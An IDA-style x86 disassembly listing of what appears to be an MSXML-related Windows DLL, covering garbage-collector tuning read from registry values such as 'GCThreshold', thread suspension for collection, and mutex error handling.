loc_69B22C34: ; CODE XREF: sub_69B1CC44+5FD7j
push offset dword_69B92964 ; lpAddend
mov [esi+44h], bl
call ds:InterlockedDecrement ; InterlockedDecrement
mov ecx, dword_69B929E0
mov eax, [ecx]
call dword ptr [eax+10h]
mov ecx, esi
call sub_69B2D585
jmp loc_69B1CC94
; ---------------------------------------------------------------------------
loc_69B22C59: ; CODE XREF: sub_69B1CC44+29j
cmp dword_69B92980, ebx
jz loc_69B1CC94
mov eax, dword_69B92958
cmp eax, ebx
jz loc_69B1CC94
mov esi, eax
mov ecx, esi
call sub_69B2D585
jmp loc_69B1CCB9
; ---------------------------------------------------------------------------
loc_69B22C80: ; CODE XREF: sub_69B1CC44+66j
push eax
call sub_69B17230
jmp loc_69B1CCB0
; END OF FUNCTION CHUNK FOR sub_69B1CC44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1CA7C
loc_69B22C8B: ; CODE XREF: sub_69B1CA7C+67j
mov ecx, [ebp+78h+var_8]
test ecx, ecx
jnz short loc_69B22C9A
test eax, eax
jz loc_69B1CAE9
loc_69B22C9A: ; CODE XREF: sub_69B1CA7C+6214j
test eax, eax
mov dword_69B9296C, 1
mov dword_69B92970, ebx
mov dword_69B92974, offset loc_69B2D56F
jnz short loc_69B22CBE
mov dword_69B92974, ecx
loc_69B22CBE: ; CODE XREF: sub_69B1CA7C+623Aj
push offset a_getimallocfor ; "_GetIMallocForMsxml@4"
push edi ; hModule
mov dword_69B9297C, eax
call esi ; GetProcAddress
test eax, eax
jz loc_69B1CBA8
push offset dword_69B92978
call eax
jmp loc_69B1CBA8
; ---------------------------------------------------------------------------
loc_69B22CDF: ; CODE XREF: sub_69B1CA7C+C1j
call sub_69B2E925
jmp loc_69B1CB43
; ---------------------------------------------------------------------------
loc_69B22CE9: ; CODE XREF: sub_69B1CA7C+D2j
mov dword_69B92950, offset sub_69B2D53F
mov dword_69B9294C, offset sub_69B2D551
jmp loc_69B1CB8B
; ---------------------------------------------------------------------------
loc_69B22D02: ; CODE XREF: sub_69B1CA7C+F8j
call sub_69B2E925
jmp loc_69B1CB7A
; END OF FUNCTION CHUNK FOR sub_69B1CA7C
; ---------------------------------------------------------------------------
; char a_getimallocfor[]
a_getimallocfor db '_GetIMallocForMsxml@4',0 ; DATA XREF: sub_69B1CA7C:loc_69B22CBEo
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1A9C6
loc_69B22D22: ; CODE XREF: sub_69B1A9C6+22j
push esi
mov esi, RegQueryValueExA
push edi
lea eax, [ebp+cbData]
push eax ; lpcbData
push ebx ; lpData
lea eax, [ebp+Type]
push eax ; lpType
push ebx ; lpReserved
mov edi, offset ValueName ; "GCThreshold"
push edi ; lpValueName
push [ebp+hKey] ; hKey
call esi ; RegQueryValueExA
test eax, eax
jnz short loc_69B22D6F
cmp [ebp+Type], 4
jnz short loc_69B22D5D
lea eax, [ebp+cbData]
push eax ; lpcbData
push offset Data ; lpData
lea eax, [ebp+Type]
push eax ; lpType
push ebx ; lpReserved
push edi ; lpValueName
push [ebp+hKey] ; hKey
call esi ; RegQueryValueExA
loc_69B22D5D: ; CODE XREF: sub_69B1A9C6+8381j
cmp Data, ebx
jg short loc_69B22D6F
mov Data, 800h
loc_69B22D6F: ; CODE XREF: sub_69B1A9C6+837Bj
; sub_69B1A9C6+839Dj
lea eax, [ebp+cbData]
push eax ; lpcbData
push ebx ; lpData
lea eax, [ebp+Type]
push eax ; lpType
push ebx ; lpReserved
mov edi, offset aMaxgcthreshold ; "MaxGCThreshold"
push edi ; lpValueName
push [ebp+hKey] ; hKey
call esi ; RegQueryValueExA
test eax, eax
jnz short loc_69B22DBB
cmp [ebp+Type], 4
jnz short loc_69B22DA2
lea eax, [ebp+cbData]
push eax ; lpcbData
push offset dword_69B96384 ; lpData
lea eax, [ebp+Type]
push eax ; lpType
push ebx ; lpReserved
push edi ; lpValueName
push [ebp+hKey] ; hKey
call esi ; RegQueryValueExA
loc_69B22DA2: ; CODE XREF: sub_69B1A9C6+83C6j
mov eax, dword_69B96384
cmp eax, ebx
mov ecx, Data
jle short loc_69B22DB5
cmp eax, ecx
jge short loc_69B22DBB
loc_69B22DB5: ; CODE XREF: sub_69B1A9C6+83E9j
mov dword_69B96384, ecx
loc_69B22DBB: ; CODE XREF: sub_69B1A9C6+83C0j
; sub_69B1A9C6+83EDj
lea eax, [ebp+cbData]
push eax ; lpcbData
push ebx ; lpData
lea eax, [ebp+Type]
push eax ; lpType
push ebx ; lpReserved
mov edi, offset aNofullgc ; "NoFullGC"
push edi ; lpValueName
push [ebp+hKey] ; hKey
call esi ; RegQueryValueExA
test eax, eax
jnz short loc_69B22DF8
cmp [ebp+Type], 4
jnz short loc_69B22DED
lea eax, [ebp+cbData]
push eax ; lpcbData
lea eax, [ebp+Data]
push eax ; lpData
lea eax, [ebp+Type]
push eax ; lpType
push ebx ; lpReserved
push edi ; lpValueName
push [ebp+hKey] ; hKey
call esi ; RegQueryValueExA
loc_69B22DED: ; CODE XREF: sub_69B1A9C6+8412j
cmp dword ptr [ebp+Data], ebx
setnz al
mov byte_69B929BC, al
loc_69B22DF8: ; CODE XREF: sub_69B1A9C6+840Cj
push [ebp+hKey] ; hKey
call RegCloseKey ; RegCloseKey
pop edi
pop esi
jmp loc_69B1A9EE
; END OF FUNCTION CHUNK FOR sub_69B1A9C6
; ---------------------------------------------------------------------------
; char aNofullgc[]
aNofullgc db 'NoFullGC',0 ; DATA XREF: sub_69B1A9C6+83FFo
align 4
; char aMaxgcthreshold[]
aMaxgcthreshold db 'MaxGCThreshold',0 ; DATA XREF: sub_69B1A9C6+83B3o
align 4
; char ValueName[]
ValueName db 'GCThreshold',0 ; DATA XREF: sub_69B1A9C6+836Eo
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18980
loc_69B22E30: ; CODE XREF: sub_69B18980+19j
; sub_69B18980+33j
test edi, edi
jz short loc_69B22E3A
dec edi
jmp loc_69B18996
; ---------------------------------------------------------------------------
loc_69B22E3A: ; CODE XREF: sub_69B18980+A4B2j
push 0 ; dwMilliseconds
call ds:Sleep ; Sleep
jmp loc_69B18996
; END OF FUNCTION CHUNK FOR sub_69B18980
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B17275
loc_69B22E47: ; CODE XREF: sub_69B17275+6j
xor eax, eax
retn
; END OF FUNCTION CHUNK FOR sub_69B17275
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1BF60
loc_69B22E4A: ; CODE XREF: sub_69B1BF60+Aj
inc dword ptr [ecx+8]
retn
; END OF FUNCTION CHUNK FOR sub_69B1BF60
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B186A8
loc_69B22E4E: ; CODE XREF: sub_69B186A8+Dj
dec dword ptr [esi+8]
jmp loc_69B186C7
; END OF FUNCTION CHUNK FOR sub_69B186A8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18459
loc_69B22E56: ; CODE XREF: sub_69B18459+25j
cmp [eax], ecx
jz loc_69B18486
sub eax, 4
jmp loc_69B1847C
; END OF FUNCTION CHUNK FOR sub_69B18459
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1E244
loc_69B22E66: ; CODE XREF: sub_69B1E244+46j
mov eax, [edi+4]
mov [ebp-38h], eax
mov dword ptr [edi+4], 4
mov ecx, eax
and ecx, 0FFFFFFF9h
mov [esi+24h], ecx
mov ecx, [edi]
mov [ebp-3Ch], ecx
test ecx, ecx
jz short loc_69B22EB3
cmp byte ptr [ebp+0Ch], 0
jz short loc_69B22E96
push eax
mov ecx, edi
call sub_69B18459
test eax, eax
jnz short loc_69B22EB3
loc_69B22E96: ; CODE XREF: sub_69B1E244+4C44j
dec dword ptr [esi+28h]
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+34h]
mov dword ptr [edi+4], 7
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+18h]
jmp loc_69B1E282
; ---------------------------------------------------------------------------
loc_69B22EB3: ; CODE XREF: sub_69B1E244+4C3Ej
; sub_69B1E244+4C50j
cmp dword ptr [ebp-2Ch], 0
jz short loc_69B22EC6
mov eax, edi
or eax, 4
mov ecx, [ebp-30h]
mov [ecx+4], eax
jmp short loc_69B22EC9
; ---------------------------------------------------------------------------
loc_69B22EC6: ; CODE XREF: sub_69B1E244+4C73j
mov [ebp-2Ch], edi
loc_69B22EC9: ; CODE XREF: sub_69B1E244+4C80j
mov [ebp-30h], edi
jmp loc_69B1E282
; ---------------------------------------------------------------------------
loc_69B22ED1: ; CODE XREF: sub_69B1E244+54j
or ebx, 4
mov eax, [ebp-30h]
mov [eax+4], ebx
jmp loc_69B1E2A1
; END OF FUNCTION CHUNK FOR sub_69B1E244
; =============== S U B R O U T I N E =======================================
sub_69B22EDF proc near ; DATA XREF: .text:69B1E2CCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B22EDF endp
; =============== S U B R O U T I N E =======================================
sub_69B22EE8 proc near ; DATA XREF: .text:69B1E2D0o
mov esp, [ebp-18h]
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp+8]
jmp loc_69B1E27B
sub_69B22EE8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1737D
loc_69B22EF7: ; CODE XREF: sub_69B1737D+36j
push eax
push ebx
mov ecx, edi
call sub_69B2D775
test al, 1
lea esi, [edi+4]
mov [esi], eax
jnz loc_69B173CC
push 0 ; dwMilliseconds
call ds:Sleep ; Sleep
push esi ; Target
call sub_69B18980
mov ebx, eax
jmp loc_69B17386
; END OF FUNCTION CHUNK FOR sub_69B1737D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B11EFA
loc_69B22F22: ; CODE XREF: sub_69B11EFA+19j
lea eax, [esi+4]
push eax ; Target
call sub_69B18980
mov [edi+4], esi
and eax, 0FFFFFFF9h
mov edi, esi
mov esi, eax
jmp loc_69B11F11
; END OF FUNCTION CHUNK FOR sub_69B11EFA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1B480
loc_69B22F3A: ; CODE XREF: sub_69B1B480-3Ej
mov [ebp-20h], esi
jmp loc_69B1B4B1
; ---------------------------------------------------------------------------
loc_69B22F42: ; CODE XREF: sub_69B1B480-2Cj
mov [ebx+4], esi
mov ebx, esi
mov [ebp-1Ch], ebx
jmp loc_69B1B475
; END OF FUNCTION CHUNK FOR sub_69B1B480
; =============== S U B R O U T I N E =======================================
sub_69B22F4F proc near ; DATA XREF: .text:69B1B4DCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B22F4F endp
; =============== S U B R O U T I N E =======================================
sub_69B22F58 proc near ; DATA XREF: .text:69B1B4E0o
mov esp, [ebp-18h]
mov esi, [ebp-20h]
and esi, 0FFFFFFF9h
or dword ptr [ebp-4], 0FFFFFFFFh
mov edi, [ebp+8]
jmp loc_69B1B4A6
sub_69B22F58 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1E818
loc_69B22F6D: ; CODE XREF: sub_69B1E818+Ej
push ecx
push ecx
push eax
call sub_69B1E244
jmp locret_69B1E82C
; END OF FUNCTION CHUNK FOR sub_69B1E818
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1E38F
loc_69B22F7A: ; CODE XREF: sub_69B1E38F+13j
cmp dword ptr [edi+28h], 0
jnz loc_69B1E3A8
cmp dword ptr [edi+58h], 0
jnz loc_69B1E3A8
mov eax, [edi+4]
and eax, 0FFFFFFF9h
cmp eax, edi
jnz loc_69B1E3A8
cmp edi, dword_69B92958
jz loc_69B1E3A8
cmp edi, dword_69B92994
jz loc_69B1E3A8
push dwTlsIndex
call dword_69B92970
mov esi, eax
mov [ebp-1Ch], esi
mov al, [esi+21h]
mov [ebp-1Dh], al
mov byte ptr [esi+20h], 1
mov byte ptr [esi+21h], 0
mov eax, [edi+14h]
mov ebx, [ebp+0Ch]
mov [ebx], eax
and dword ptr [ebp-4], 0
mov [ebp-24h], edi
mov [ebp-28h], edi
push 1 ; char
mov ecx, edi ; lpMem
call sub_69B2D601
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B2300A
; END OF FUNCTION CHUNK FOR sub_69B1E38F
; =============== S U B R O U T I N E =======================================
sub_69B22FF4 proc near ; DATA XREF: .text:69B1E3BCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B22FF4 endp
; =============== S U B R O U T I N E =======================================
sub_69B22FFD proc near ; DATA XREF: .text:69B1E3C0o
mov esp, [ebp-18h]
or dword ptr [ebp-4], 0FFFFFFFFh
mov ebx, [ebp+0Ch]
mov esi, [ebp-1Ch]
sub_69B22FFD endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_69B1E38F
loc_69B2300A: ; CODE XREF: sub_69B1E38F+4C63j
mov byte ptr [esi+20h], 0
mov al, [ebp-1Dh]
mov [esi+21h], al
jmp loc_69B1E3AB
; END OF FUNCTION CHUNK FOR sub_69B1E38F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1B193
loc_69B23019: ; CODE XREF: sub_69B1B193+28j
lea edi, [esi+4]
push edi ; Target
call sub_69B18980
mov [ebp-24h], eax
and eax, 0FFFFFFF9h
mov [ebp-1Ch], eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+34h]
mov dword ptr [edi], 3
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+18h]
jmp loc_69B1B1B3
; END OF FUNCTION CHUNK FOR sub_69B1B193
; =============== S U B R O U T I N E =======================================
sub_69B23044 proc near ; DATA XREF: .text:69B1B1D4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B23044 endp
; =============== S U B R O U T I N E =======================================
sub_69B2304D proc near ; DATA XREF: .text:69B1B1D8o
mov esp, [ebp-18h]
or dword ptr [ebp-4], 0FFFFFFFFh
jmp loc_69B1B1AF
sub_69B2304D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B17355
loc_69B23059: ; CODE XREF: sub_69B17355+11j
test bl, 1
jz short loc_69B2306D
add ebx, 8
mov [eax], ebx
mov eax, ebx
shr eax, 3
jmp loc_69B1737A
; ---------------------------------------------------------------------------
loc_69B2306D: ; CODE XREF: sub_69B17355+BD07j
push dwTlsIndex
call dword_69B92970
push eax
push ebx
mov ecx, esi
call sub_69B2D638
xor eax, eax
inc eax
jmp loc_69B1737A
; END OF FUNCTION CHUNK FOR sub_69B17355
; =============== S U B R O U T I N E =======================================
sub_69B2308A proc near ; DATA XREF: .text:69B1718Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B2308A endp
; =============== S U B R O U T I N E =======================================
sub_69B23093 proc near ; DATA XREF: .text:69B17190o
mov esp, [ebp-18h]
inc dword ptr [ebp-20h]
or dword ptr [ebp-4], 0FFFFFFFFh
jmp loc_69B17149
sub_69B23093 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18CB3
loc_69B230A2: ; CODE XREF: sub_69B18CB3+99j
push esi
call sub_69B1B580
jmp loc_69B18D52
; ---------------------------------------------------------------------------
loc_69B230AD: ; CODE XREF: sub_69B18CB3+E0j
mov dword_69B92944, offset sub_69B1E818
mov byte_69B929BD, 0
jmp loc_69B18D99
; ---------------------------------------------------------------------------
loc_69B230C3: ; CODE XREF: sub_69B18CB3+130j
push dword ptr [esi+10h] ; hThread
call ds:SuspendThread ; SuspendThread
mov [ebp-34h], eax
cmp eax, 0FFFFFFFFh
jz loc_69B18E16
cmp [esi+30h], edi
jz short loc_69B230E7
cmp byte ptr [esi+44h], 0
jz loc_69B18DE9
loc_69B230E7: ; CODE XREF: sub_69B18CB3+A428j
push dword ptr [esi+10h] ; hThread
call ds:ResumeThread ; ResumeThread
mov [ebp-38h], eax
jmp loc_69B18E16
; ---------------------------------------------------------------------------
loc_69B230F8: ; CODE XREF: sub_69B18CB3+144j
; sub_69B18CB3+14Cj
mov ecx, [eax+8]
mov [ebp-40h], ecx
cmp dword_69B92954, 1
jnz short loc_69B2310E
add dword ptr [ebp-40h], 1000h
loc_69B2310E: ; CODE XREF: sub_69B18CB3+A452j
mov edi, [eax+4]
mov [ebp-44h], edi
mov dword ptr [ebp-310h], 10007h
lea eax, [ebp-310h]
push eax ; lpContext
push dword ptr [esi+10h] ; hThread
call sub_69B2D61C
test al, al
jz short loc_69B2314A
push esi
xor eax, eax
cmp esi, ebx
setz al
push eax
lea eax, [ebp-44h]
push eax
lea eax, [ebp-310h]
push eax
call sub_69B2D846
loc_69B2314A: ; CODE XREF: sub_69B18CB3+A47Cj
push esi
xor eax, eax
cmp esi, ebx
setz al
push eax
push edi
push dword ptr [ebp-40h]
call sub_69B2D846
xor edi, edi
cmp esi, ebx
jz loc_69B18E05
push dword ptr [esi+10h] ; hThread
call ds:ResumeThread ; ResumeThread
mov [ebp-314h], eax
jmp loc_69B18E05
; ---------------------------------------------------------------------------
loc_69B2317A: ; CODE XREF: sub_69B18CB3+15Dj
lea ecx, [ebp-30h]
call sub_69B1900C
jmp loc_69B1E312
; ---------------------------------------------------------------------------
loc_69B23187: ; CODE XREF: sub_69B18CB3+5643j
push dword_69B929D4
lea ecx, [ebp-318h]
call sub_69B18E23
push dword_69B95A14
call sub_69B17135
lea ecx, [ebp-318h]
call sub_69B1900C
push dword_69B929D0
lea ecx, [ebp-31Ch]
call sub_69B18E23
push dword_69B95A20
call sub_69B17135
lea ecx, [ebp-31Ch]
call sub_69B1900C
jmp loc_69B1E2FC
; END OF FUNCTION CHUNK FOR sub_69B18CB3
; =============== S U B R O U T I N E =======================================
sub_69B231DA proc near ; DATA XREF: sub_69B18CB3+D1o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B231DA endp
; =============== S U B R O U T I N E =======================================
sub_69B231E3 proc near ; DATA XREF: sub_69B18CB3+D5o
mov esp, [ebp-18h]
mov esi, dword_69B92994
mov ebx, [ebp-24h]
loc_69B231EF: ; CODE XREF: sub_69B231E3+2Ej
test esi, esi
jz loc_69B1E312
cmp byte ptr [esi+1Ah], 0
jz short loc_69B2320E
cmp esi, ebx
jz short loc_69B2320A
push dword ptr [esi+10h] ; hThread
call ds:ResumeThread ; ResumeThread
loc_69B2320A: ; CODE XREF: sub_69B231E3+1Cj
mov byte ptr [esi+1Ah], 0
loc_69B2320E: ; CODE XREF: sub_69B231E3+18j
mov esi, [esi+14h]
jmp short loc_69B231EF
sub_69B231E3 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18CB3
loc_69B23213: ; CODE XREF: sub_69B18CB3+566Ej
sub eax, 4
mov dword_69B9298C, eax
mov eax, [eax]
lea esi, [eax+4]
push esi ; Target
call sub_69B18980
and eax, 0FFFFFFFDh
mov [esi], eax
jmp loc_69B1E316
; END OF FUNCTION CHUNK FOR sub_69B18CB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1B0B5
loc_69B23230: ; CODE XREF: sub_69B1B0B5+15j
mov dword_69B92944, offset sub_69B1E818
mov byte_69B929BD, bl
jmp loc_69B1B0D0
; END OF FUNCTION CHUNK FOR sub_69B1B0B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18C0C
loc_69B23245: ; CODE XREF: sub_69B18C0C+8j
mov ecx, dword_69B929B0
sub ecx, dword_69B929B4
mov eax, dword_69B92180
cmp ecx, eax
jge loc_69B18C1A
cmp dword_69B929B8, eax
jl locret_69B18CAF
jmp loc_69B18C1A
; ---------------------------------------------------------------------------
loc_69B2326F: ; CODE XREF: sub_69B18C0C+67j
mov ecx, dword_69B96384
cmp ecx, Data
jle loc_69B18C9D
mov eax, dword_69B9295C
xor esi, esi
jmp short loc_69B23293
; ---------------------------------------------------------------------------
loc_69B2328A: ; CODE XREF: sub_69B18C0C+A689j
cmp [eax+30h], ebx
jz short loc_69B23290
inc esi
loc_69B23290: ; CODE XREF: sub_69B18C0C+A681j
mov eax, [eax+14h]
loc_69B23293: ; CODE XREF: sub_69B18C0C+A67Cj
cmp eax, ebx
jnz short loc_69B2328A
add dword_69B92180, edx
mov eax, dword_69B92180
cdq
idiv esi
shl eax, 1
cmp eax, ecx
mov Data, eax
jle loc_69B18C9D
mov Data, ecx
imul ecx, esi
mov dword_69B92180, ecx
jmp loc_69B18C9D
; ---------------------------------------------------------------------------
loc_69B232C8: ; CODE XREF: sub_69B18C0C+79j
mov dword_69B929AC, 1
call sub_69B2DB17
cmp [esi+30h], ebx
jnz loc_69B18CA5
cmp dword_69B9B25C, ebx
jnz loc_69B18CA5
call sub_69B2D9A7
jmp loc_69B18CA5
; END OF FUNCTION CHUNK FOR sub_69B18C0C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19148
loc_69B232F6: ; CODE XREF: sub_69B19148+1Ej
push esi
call sub_69B1B580
cmp esi, dword_69B929A0
jz loc_69B1916C
push 0
call sub_69B18C0C
jmp loc_69B1916C
; END OF FUNCTION CHUNK FOR sub_69B19148
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19118
loc_69B23314: ; CODE XREF: sub_69B19118+21j
push 0
call sub_69B2DBE4
jmp loc_69B19144
; END OF FUNCTION CHUNK FOR sub_69B19118
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18169
loc_69B23320: ; CODE XREF: sub_69B18169+13j
push dwTlsIndex
call dword_69B92970
push eax
push 0
mov ecx, esi
call sub_69B2DBE4
jmp loc_69B18189
; END OF FUNCTION CHUNK FOR sub_69B18169
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B183E6
loc_69B2333B: ; CODE XREF: sub_69B183E6+24j
and ebx, 2
or eax, ebx
mov [esi+4], eax
cmp edi, dword_69B929A0
jz loc_69B18455
push 0
call sub_69B18C0C
jmp loc_69B18455
; END OF FUNCTION CHUNK FOR sub_69B183E6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B183BB
loc_69B2335B: ; CODE XREF: sub_69B183BB+13j
sub ebx, 8
mov eax, ebx
shr eax, 3
jnz short loc_69B233C8
push esi
push dwTlsIndex
call dword_69B92970
mov esi, eax
cmp byte ptr [esi+20h], 0
jz short loc_69B233B4
cmp byte ptr [esi+21h], 0
jz short loc_69B2338C
push ebx
mov ecx, edi
call sub_69B18459
test eax, eax
jnz short loc_69B233B4
loc_69B2338C: ; CODE XREF: sub_69B183BB+AFC3j
mov eax, [esi+48h]
cmp eax, 200h
jnb short loc_69B233B4
inc eax
mov [esi+48h], eax
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+34h]
dec dword ptr [esi+48h]
mov eax, [edi]
mov ecx, edi
mov dword ptr [ebp+0], 7
call dword ptr [eax+18h]
jmp short loc_69B233C0
; ---------------------------------------------------------------------------
loc_69B233B4: ; CODE XREF: sub_69B183BB+AFBDj
; sub_69B183BB+AFCFj ...
push esi
and ebx, 2
push ebx
mov ecx, edi
call sub_69B2DBE4
loc_69B233C0: ; CODE XREF: sub_69B183BB+AFF7j
xor eax, eax
pop esi
jmp loc_69B183E2
; ---------------------------------------------------------------------------
loc_69B233C8: ; CODE XREF: sub_69B183BB+AFA8j
mov [ebp+0], ebx
jmp loc_69B183E2
; END OF FUNCTION CHUNK FOR sub_69B183BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1986C
loc_69B233D0: ; CODE XREF: sub_69B1986C+Bj
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
mov ecx, [esi]
mov eax, [ecx]
call dword ptr [eax+14h]
jmp loc_69B1987D
; END OF FUNCTION CHUNK FOR sub_69B1986C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1948C
loc_69B233E2: ; CODE XREF: sub_69B1948C+7j
mov eax, [ecx]
call dword ptr [eax+18h]
mov eax, [esi]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
and dword ptr [esi], 0
jmp loc_69B19499
; END OF FUNCTION CHUNK FOR sub_69B1948C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18F8A
loc_69B233F7: ; CODE XREF: sub_69B18F8A+1Aj
push [esp+0Ch+dwMilliseconds] ; dwMilliseconds
mov ecx, esi
call sub_69B2DCDC
jmp loc_69B18FB2
; END OF FUNCTION CHUNK FOR sub_69B18F8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18BDC
loc_69B23407: ; CODE XREF: sub_69B18BDC+12j
; sub_69B18BDC+1Dj
push [esp+8+dwMilliseconds] ; dwMilliseconds
mov ecx, esi
call sub_69B2DD83
jmp loc_69B18C06
; END OF FUNCTION CHUNK FOR sub_69B18BDC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18381
loc_69B23417: ; CODE XREF: sub_69B18381+1Bj
mov ecx, esi
pop esi
jmp sub_69B2DE1A
; END OF FUNCTION CHUNK FOR sub_69B18381
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18ED9
loc_69B2341F: ; CODE XREF: sub_69B18ED9+11j
mov ecx, esi
pop esi
jmp sub_69B2DE1A
; END OF FUNCTION CHUNK FOR sub_69B18ED9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1AE5D
loc_69B23427: ; CODE XREF: sub_69B1AE5D+44j
push offset OutputString ; "System Error related to ShareMutex's Se"...
call ds:OutputDebugStringA ; OutputDebugStringA
call sub_69B2E925
jmp loc_69B1AEA7
; END OF FUNCTION CHUNK FOR sub_69B1AE5D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1808E
loc_69B2343C: ; CODE XREF: sub_69B1808E+1Dj
push edi ; lpAddend
mov edi, ds:InterlockedDecrement
call edi ; InterlockedDecrement
push ebp ; lpAddend
call edi ; InterlockedDecrement
cmp dword ptr [esi+24h], 0
jle short loc_69B23455
mov ecx, esi
call sub_69B2DE1A
loc_69B23455: ; CODE XREF: sub_69B1808E+B3BEj
xor al, al
jmp loc_69B180B1
; END OF FUNCTION CHUNK FOR sub_69B1808E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18F67
loc_69B2345C: ; CODE XREF: sub_69B18F67+Bj
mov edi, ds:InterlockedIncrement
lea eax, [esi+10h]
push eax ; lpAddend
call edi ; InterlockedIncrement
lea eax, [esi+14h]
push eax ; lpAddend
call edi ; InterlockedIncrement
jmp loc_69B18F82
; END OF FUNCTION CHUNK FOR sub_69B18F67
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18BC5
loc_69B23473: ; CODE XREF: sub_69B18BC5+7j
add ecx, 14h
push ecx ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
jmp locret_69B18BD9
; END OF FUNCTION CHUNK FOR sub_69B18BC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19B0D
loc_69B23482: ; CODE XREF: sub_69B19B0D+42j
push offset OutputString ; "System Error related to ShareMutex's Se"...
call ds:OutputDebugStringA ; OutputDebugStringA
call sub_69B2E925
jmp loc_69B19B55
; END OF FUNCTION CHUNK FOR sub_69B19B0D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19AEC
loc_69B23497: ; CODE XREF: sub_69B19AEC+9j
xor eax, eax
retn
; END OF FUNCTION CHUNK FOR sub_69B19AEC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1B352
loc_69B2349A: ; CODE XREF: sub_69B1B352+9j
xor eax, eax
retn
; END OF FUNCTION CHUNK FOR sub_69B1B352
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1BB5E
loc_69B2349D: ; CODE XREF: sub_69B1BB5E+9j
xor eax, eax
retn
; END OF FUNCTION CHUNK FOR sub_69B1BB5E
; =============== S U B R O U T I N E =======================================
sub_69B234A0 proc near ; DATA XREF: .text:69B19AE4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B234A0 endp
; =============== S U B R O U T I N E =======================================
sub_69B234A9 proc near ; DATA XREF: .text:69B19AE8o
mov esp, [ebp-18h]
xor esi, esi
xor edi, edi
jmp loc_69B19AB6
sub_69B234A9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19A23
loc_69B234B5: ; CODE XREF: sub_69B19A23+B1j
xor eax, eax
jmp loc_69B19AC9
; END OF FUNCTION CHUNK FOR sub_69B19A23
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18921
loc_69B234BC: ; CODE XREF: sub_69B18921+1Dj
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
jmp locret_69B18944
; END OF FUNCTION CHUNK FOR sub_69B18921
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1DC97
loc_69B234C8: ; CODE XREF: sub_69B1DC97+3Aj
not edi
and [esi+14h], edi
dec dword ptr [esi+0Ch]
jmp loc_69B1DCD7
; END OF FUNCTION CHUNK FOR sub_69B1DC97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1C300
loc_69B234D5: ; CODE XREF: sub_69B1C300+38j
push esi
mov ecx, ebp
call sub_69B2E00B
push esi
mov ecx, ebp
call sub_69B2E085
xor eax, eax
jmp loc_69B1C349
